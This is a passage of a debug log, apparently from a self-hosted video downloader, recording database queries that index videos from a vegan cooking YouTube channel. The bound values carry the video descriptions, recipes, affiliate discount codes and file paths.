💪🏼", "429df6c1-3108-4cc2-941c-a9b4fa203cf6", 1, [], false, "r96xyiq7G5M", "https://www.youtube.com/watch?v=r96xyiq7G5M", 44, "/downloads/downloads/alec/Steamy Vegan/2025-10-30 COZY High Protein Vegan Meal Prep! 🍁 100g Protein, 1800 Calories 💪🏼/COZY High Protein Vegan Meal Prep! 🍁 100g Protein, 1800 Calories 💪🏼 [r96xyiq7G5M].NA", false, false, false, 1, ~U[2025-10-30 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In today's vegan meal prep, I'm making 5 high-protein and healthy vegan recipes that are gluten-free, 107g of protein, all while being under 1800 calories! I love making these cozy vegan recipes all Fall and Winter and they're easy and quick meal prep recipes that only take 90 minutes to make and provide you with 3 days of meals for 2 people. \n\nGet the full meal prep instructions on my blog! 👉🏻 https://steamyvegan.com/cozy-high-pro...\n\nWant to try the protein powder I use all the time? Discount below:\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💚 PRODUCTS I LOVE USING💚\n\n💪🏼 My Fave Protein Bars - WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nOther Protein Powders That I Use Everyday = Complete Coffee by Sprout Living - 20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nFor My Canadian Friends Check Out Good Protein: 30% off your first purchase (Available only in 🇨🇦) - I love Mint Chocolate\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Everyday ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "COZY High Protein Vegan Meal Prep! 🍁 100g Protein, 1800 Calories 💪🏼", 1, nil, false, "r96xyiq7G5M", "https://www.youtube.com/watch?v=r96xyiq7G5M", "/downloads/downloads/alec/Steamy Vegan/2025-10-30 COZY High Protein Vegan Meal Prep! 🍁 100g Protein, 1800 Calories 💪🏼/COZY High Protein Vegan Meal Prep! 🍁 100g Protein, 1800 Calories 💪🏼 [r96xyiq7G5M].NA", false, ~U[2025-10-30 00:00:00Z]] 20:31:06.461 [debug] QUERY OK source="sources" db=2.2ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.464 [debug] QUERY OK source="media_items" db=2.6ms idle=8.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-25 00:00:00Z], 1] 20:31:06.467 [debug] QUERY OK source="media_items" db=1.9ms idle=10.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I'm showing you how to make the best homemade protein bars that taste incredible and are made with healthy whole foods! These homemade protein bars have 16g of protein per bar, low calorie, are vegan, gluten-free, and are made with nutrient dense whole plant foods. They're also No Bake, plus they taste AMAZING! 🤤\n\nGet the full recipe and instructions for my Homemade Protein Bars on my blog!\nhttps://steamyvegan.com/homemade-prot...\n\n💪🏼 WellBean Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💪🏼 PROTEIN POWDERS I'd Recommend for This Recipe 💪🏼\n💊🥬 Get 15% off Complement Protein Powder - I'd recommend the unflavored one or vanilla\nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\n20% off at Sprout Living - Real Sport, Complete Coffee or Chocolate Maca would all be great! (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n\nCheck out some of my other protein packed treats below!: \n3 High Protein Breakfasts: \u00A0\u00A0\u00A0•\u00A03\u00A0High\u00A0Protein\u00A0Breakfast\u00A0Recipes\u00A0🍁\u00A0(Cozy,\u00A0...\u00A0\u00A0\nProtein Crumble: \u00A0\u00A0\u00A0•\u00A0An\u00A0Apple\u00A0Crumble\u00A0Recipe\u00A0That's\u00A0High\u00A0in\u00A0Pro...\u00A0\u00A0\nProtein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\nProtein Cereal: \u00A0\u00A0\u00A0•\u00A0Let's\u00A0make\u00A0PROTEIN\u00A0CEREAL!\u00A0🥣\u00A030g\u00A0Protein\u00A0P...\u00A0\u00A0\n\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "My go-to homemade protein bars! 💪🏼 Vegan, gluten free, no refined sugar", "f644cbf1-5a13-402d-95fb-e2a7ca73b43c", 1, [], false, "Gvl-wVOqXLo", "https://www.youtube.com/watch?v=Gvl-wVOqXLo", 45, "/downloads/downloads/alec/Steamy Vegan/2025-10-25 My go-to homemade protein bars! 💪🏼 Vegan, gluten free, no refined sugar/My go-to homemade protein bars! 💪🏼 Vegan, gluten free, no refined sugar [Gvl-wVOqXLo].NA", false, false, false, 1, ~U[2025-10-25 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "I'm showing you how to make the best homemade protein bars that taste incredible and are made with healthy whole foods! These homemade protein bars have 16g of protein per bar, low calorie, are vegan, gluten-free, and are made with nutrient dense whole plant foods. They're also No Bake, plus they taste AMAZING! 🤤\n\nGet the full recipe and instructions for my Homemade Protein Bars on my blog!\nhttps://steamyvegan.com/homemade-prot...\n\n💪🏼 WellBean Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💪🏼 PROTEIN POWDERS I'd Recommend for This Recipe 💪🏼\n💊🥬 Get 15% off Complement Protein Powder - I'd recommend the unflavored one or vanilla\nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\n20% off at Sprout Living - Real Sport, Complete Coffee or Chocolate Maca would all be great! (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n\nCheck out some of my other protein packed treats below!: \n3 High Protein Breakfasts: \u00A0\u00A0\u00A0•\u00A03\u00A0High\u00A0Protein\u00A0Breakfast\u00A0Recipes\u00A0🍁\u00A0(Cozy,\u00A0...\u00A0\u00A0\nProtein Crumble: \u00A0\u00A0\u00A0•\u00A0An\u00A0Apple\u00A0Crumble\u00A0Recipe\u00A0That's\u00A0High\u00A0in\u00A0Pro...\u00A0\u00A0\nProtein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\nProtein Cereal: \u00A0\u00A0\u00A0•\u00A0Let's\u00A0make\u00A0PROTEIN\u00A0CEREAL!\u00A0🥣\u00A030g\u00A0Protein\u00A0P...\u00A0\u00A0\n\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "My go-to homemade protein bars! 💪🏼 Vegan, gluten free, no refined sugar", 1, nil, false, "Gvl-wVOqXLo", "https://www.youtube.com/watch?v=Gvl-wVOqXLo", "/downloads/downloads/alec/Steamy Vegan/2025-10-25 My go-to homemade protein bars! 💪🏼 Vegan, gluten free, no refined sugar/My go-to homemade protein bars! 💪🏼 Vegan, gluten free, no refined sugar [Gvl-wVOqXLo].NA", false, ~U[2025-10-25 00:00:00Z]] 20:31:06.468 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=10.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.471 [debug] QUERY OK source="media_items" db=2.7ms idle=10.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-22 00:00:00Z], 1] 20:31:06.475 [debug] QUERY OK source="media_items" db=3.1ms idle=10.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This is hands down the CREAMIEST vegan tomato soup you'll ever make - and it's gluten-free! Rich, silky, and packed with 9g of protein per serving, this is comfort food that actually fuels your body. 😏 PLUS as a BONUS I'm showing you how to make my favorite grilled cheese ever with a high-protein twist!\n\nIn this video, I'm showing you exactly how to make restaurant-quality tomato soup at home using simple ingredients. No dairy, no gluten, just pure cozy deliciousness that comes together in an hour.\n\nIf you're new here, I'm Janelle - and I make eating plant-based sexy! Subscribe below for more fast, flavorful, high-protein vegan recipes. 👇🏻\nSUBSCRIBE FOR FREE: https://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nINGREDIENTS:\nFresh tomatoes, vegetable broth, butter beans, garlic, onion, bell peppers, basil, and a few pantry staples. Full recipe with measurements below! 👇\n\n📋 Get the full written recipe: https://steamyvegan.com/tomato-soup/\n\nWhat's your favorite way to serve tomato soup? Grilled cheese? Crusty bread? Let me know in the comments! 💬\n\nOther Cozy Fall Recipes to Check Out:\n1. Lasagna Soup: \u00A0\u00A0\u00A0•\u00A0Meal\u00A0Prep\u00A0Lasagna\u00A0Soup\u00A0That's\u00A0Just\u00A0$1\u00A0Per\u00A0...\u00A0\u00A0\n2. Protein Apple Crumble: \u00A0\u00A0\u00A0•\u00A0An\u00A0Apple\u00A0Crumble\u00A0Recipe\u00A0That's\u00A0High\u00A0in\u00A0Pro...\u00A0\u00A0\n3. Curried Butternut Squash Soup: \u00A0\u00A0\u00A0•\u00A0The\u00A0Butternut\u00A0Squash\u00A0Soup\u00A0You\u00A0NEED\u00A0to\u00A0Make...\u00A0\u00A0\n4. Yellow Thai Curry Casserole and Scarpariello Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\n\n#vegantomatosoup #tomatosouprecipe #roastedtomatosoup #veganrecipes #glutenfreerecipes #highproteinvegan #vegancomfortfood #plantbasedrecipes #glutenfreetomatosoup\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\n💚 PRODUCTS I LOVE USING💚\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nMy Favourite Protein Powders That I Use Everyday = Complete Coffee by Sprout Living - 20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nFor My Canadian Friends Check Out Good Protein: 30% off your first purchase (Available only in 🇨🇦) - I love Mint Chocolate\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Everyday ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "You've never had a tomato soup like this 🍅 (Vegan & Gluten)", "d3ff1a8d-600e-451b-96e2-33baf1f6f030", 1, [], false, "ZU9oU8mJGj4", "https://www.youtube.com/watch?v=ZU9oU8mJGj4", 46, "/downloads/downloads/alec/Steamy Vegan/2025-10-22 You've never had a tomato soup like this 🍅 (Vegan & Gluten)/You've never had a tomato soup like this 🍅 (Vegan & Gluten) [ZU9oU8mJGj4].NA", false, false, false, 1, ~U[2025-10-22 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "This is hands down the CREAMIEST vegan tomato soup you'll ever make - and it's gluten-free! Rich, silky, and packed with 9g of protein per serving, this is comfort food that actually fuels your body. 😏 PLUS as a BONUS I'm showing you how to make my favorite grilled cheese ever with a high-protein twist!\n\nIn this video, I'm showing you exactly how to make restaurant-quality tomato soup at home using simple ingredients. No dairy, no gluten, just pure cozy deliciousness that comes together in an hour.\n\nIf you're new here, I'm Janelle - and I make eating plant-based sexy! Subscribe below for more fast, flavorful, high-protein vegan recipes. 👇🏻\nSUBSCRIBE FOR FREE: https://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nINGREDIENTS:\nFresh tomatoes, vegetable broth, butter beans, garlic, onion, bell peppers, basil, and a few pantry staples. Full recipe with measurements below! 👇\n\n📋 Get the full written recipe: https://steamyvegan.com/tomato-soup/\n\nWhat's your favorite way to serve tomato soup? Grilled cheese? Crusty bread? Let me know in the comments! 💬\n\nOther Cozy Fall Recipes to Check Out:\n1. Lasagna Soup: \u00A0\u00A0\u00A0•\u00A0Meal\u00A0Prep\u00A0Lasagna\u00A0Soup\u00A0That's\u00A0Just\u00A0$1\u00A0Per\u00A0...\u00A0\u00A0\n2. Protein Apple Crumble: \u00A0\u00A0\u00A0•\u00A0An\u00A0Apple\u00A0Crumble\u00A0Recipe\u00A0That's\u00A0High\u00A0in\u00A0Pro...\u00A0\u00A0\n3. Curried Butternut Squash Soup: \u00A0\u00A0\u00A0•\u00A0The\u00A0Butternut\u00A0Squash\u00A0Soup\u00A0You\u00A0NEED\u00A0to\u00A0Make...\u00A0\u00A0\n4. Yellow Thai Curry Casserole and Scarpariello Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\n\n#vegantomatosoup #tomatosouprecipe #roastedtomatosoup #veganrecipes #glutenfreerecipes #highproteinvegan #vegancomfortfood #plantbasedrecipes #glutenfreetomatosoup\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\n💚 PRODUCTS I LOVE USING💚\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nMy Favourite Protein Powders That I Use Everyday = Complete Coffee by Sprout Living - 20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nFor My Canadian Friends Check Out Good Protein: 30% off your first purchase (Available only in 🇨🇦) - I love Mint Chocolate\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Everyday ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "You've never had a tomato soup like this 🍅 (Vegan & Gluten)", 1, nil, false, "ZU9oU8mJGj4", "https://www.youtube.com/watch?v=ZU9oU8mJGj4", "/downloads/downloads/alec/Steamy Vegan/2025-10-22 You've never had a tomato soup like this 🍅 (Vegan & Gluten)/You've never had a tomato soup like this 🍅 (Vegan & Gluten) [ZU9oU8mJGj4].NA", false, ~U[2025-10-22 00:00:00Z]] 20:31:06.476 [debug] QUERY OK source="sources" db=0.7ms idle=11.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.479 [debug] QUERY OK source="media_items" db=2.7ms idle=9.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-18 00:00:00Z], 1] 20:31:06.481 [debug] QUERY OK source="media_items" db=1.7ms idle=11.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These 3 healthy high protein breakfast recipes are gluten-free, vegan and they actually keep you full until lunc! I've been eating these vegan breakfast recipes for weeks now and the overnight oats and oatmeal recipes are perfect for your weekly meal prep. Let me know which one you plan to try first! \n\nSubscribe to my channel for more high-protein plant-based recipes here!: \nhttps://bit.ly/SteamyVegan\n\n✨Get all these high protein breakfast recipes on my blog!✨\nPUMPKIN SPICE PROTEIN PANCAKES 👉🏻 https://steamyvegan.com/pumpkin-spice...\nPUMPKIN PIE OATMEAL 👉🏻 https://steamyvegan.com/pumpkin-pie-o...\nPUMPKIN SPICE CARROT CAKE OVERNIGHT OATS 👉🏻 https://steamyvegan.com/pumpkin-spice...\n\nTip: Make your own pumpkin SPICE blend at home 🎃🍂\nYou'll need pumpkin spice to make these recipes. But, if you don’t have any on hand, you can make a small batch of your own homemade blend super easily. In a mason jar, add the following spices and shake vigorously (with the lid on!) to combine:\n\n3 tbsp ground cinnamon\n2 tsp ground ginger\n2 tsp nutmeg\n1½ tsp ground allspice\n1½ tsp ground cloves\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💚 PROTEIN POWDER I USED IN THIS EPISODE💚\nComplement Protein Powder - VANILLA: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nSprout Living - VANILLA LUCUMA - 20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nFor My Canadian Friends Check Out Good Protein: 30% off your first purchase (Available only in 🇨🇦) - I love Mint Chocolate\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nOther Cozy Fall Recipes to Check Out:\n1. Butternut Squash Pasta: \u00A0\u00A0\u00A0•\u00A0The\u00A0butternut\u00A0squash\u00A0pasta\u00A0I've\u00A0been\u00A0makin...\u00A0\u00A0\n2. Protein Apple Crumble: \u00A0\u00A0\u00A0•\u00A0An\u00A0Apple\u00A0Crumble\u00A0Recipe\u00A0That's\u00A0High\u00A0in\u00A0Pro...\u00A0\u00A0\n3. Curried Butternut Squash Soup: \u00A0\u00A0\u00A0•\u00A0The\u00A0Butternut\u00A0Squash\u00A0Soup\u00A0You\u00A0NEED\u00A0to\u00A0Make...\u00A0\u00A0\n4. Scarpariello Pasta Bake Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\n\n💚 OTHER PRODUCTS I LOVE USING💚\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n0:54 - Pumpkin Pie Oatmeal\n5:06 - Pumpkin Spice Carrot Cake Overnight Oats\n10:23 - Pumpkin Spice Protein Pancakes", "3 High Protein Breakfast Recipes 🍁 (Cozy, vegan & gluten-free)", "a8e8fc6d-9249-492c-a91a-b041a62e687d", 1, [], false, "DOtcvXajT0g", "https://www.youtube.com/watch?v=DOtcvXajT0g", 47, "/downloads/downloads/alec/Steamy Vegan/2025-10-18 3 High Protein Breakfast Recipes 🍁 (Cozy, vegan & gluten-free)/3 High Protein Breakfast Recipes 🍁 (Cozy, vegan & gluten-free) [DOtcvXajT0g].NA", false, false, false, 1, ~U[2025-10-18 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "These 3 healthy high protein breakfast recipes are gluten-free, vegan and they actually keep you full until lunc! I've been eating these vegan breakfast recipes for weeks now and the overnight oats and oatmeal recipes are perfect for your weekly meal prep. Let me know which one you plan to try first! \n\nSubscribe to my channel for more high-protein plant-based recipes here!: \nhttps://bit.ly/SteamyVegan\n\n✨Get all these high protein breakfast recipes on my blog!✨\nPUMPKIN SPICE PROTEIN PANCAKES 👉🏻 https://steamyvegan.com/pumpkin-spice...\nPUMPKIN PIE OATMEAL 👉🏻 https://steamyvegan.com/pumpkin-pie-o...\nPUMPKIN SPICE CARROT CAKE OVERNIGHT OATS 👉🏻 https://steamyvegan.com/pumpkin-spice...\n\nTip: Make your own pumpkin SPICE blend at home 🎃🍂\nYou'll need pumpkin spice to make these recipes. But, if you don’t have any on hand, you can make a small batch of your own homemade blend super easily. In a mason jar, add the following spices and shake vigorously (with the lid on!) to combine:\n\n3 tbsp ground cinnamon\n2 tsp ground ginger\n2 tsp nutmeg\n1½ tsp ground allspice\n1½ tsp ground cloves\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💚 PROTEIN POWDER I USED IN THIS EPISODE💚\nComplement Protein Powder - VANILLA: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nSprout Living - VANILLA LUCUMA - 20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nFor My Canadian Friends Check Out Good Protein: 30% off your first purchase (Available only in 🇨🇦) - I love Mint Chocolate\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nOther Cozy Fall Recipes to Check Out:\n1. Butternut Squash Pasta: \u00A0\u00A0\u00A0•\u00A0The\u00A0butternut\u00A0squash\u00A0pasta\u00A0I've\u00A0been\u00A0makin...\u00A0\u00A0\n2. Protein Apple Crumble: \u00A0\u00A0\u00A0•\u00A0An\u00A0Apple\u00A0Crumble\u00A0Recipe\u00A0That's\u00A0High\u00A0in\u00A0Pro...\u00A0\u00A0\n3. Curried Butternut Squash Soup: \u00A0\u00A0\u00A0•\u00A0The\u00A0Butternut\u00A0Squash\u00A0Soup\u00A0You\u00A0NEED\u00A0to\u00A0Make...\u00A0\u00A0\n4. Scarpariello Pasta Bake Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\n\n💚 OTHER PRODUCTS I LOVE USING💚\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n0:54 - Pumpkin Pie Oatmeal\n5:06 - Pumpkin Spice Carrot Cake Overnight Oats\n10:23 - Pumpkin Spice Protein Pancakes", "3 High Protein Breakfast Recipes 🍁 (Cozy, vegan & gluten-free)", 1, nil, false, "DOtcvXajT0g", "https://www.youtube.com/watch?v=DOtcvXajT0g", "/downloads/downloads/alec/Ste (truncated) 20:31:06.482 [debug] QUERY OK source="sources" db=0.5ms idle=10.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", 